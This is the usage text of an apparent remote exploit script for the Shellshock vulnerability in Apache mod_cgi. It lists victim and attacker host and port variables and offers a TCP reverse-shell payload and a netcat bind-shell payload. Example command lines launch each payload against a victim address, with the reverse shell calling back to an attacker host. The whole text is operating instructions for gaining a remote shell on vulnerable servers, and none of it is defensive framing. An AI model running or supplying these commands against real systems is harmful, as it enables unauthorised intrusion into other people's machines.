Shellshock apache mod_cgi remote exploit
Usage:
./exploit.py var=<value>
Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages: specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy
Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
Example:
./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234
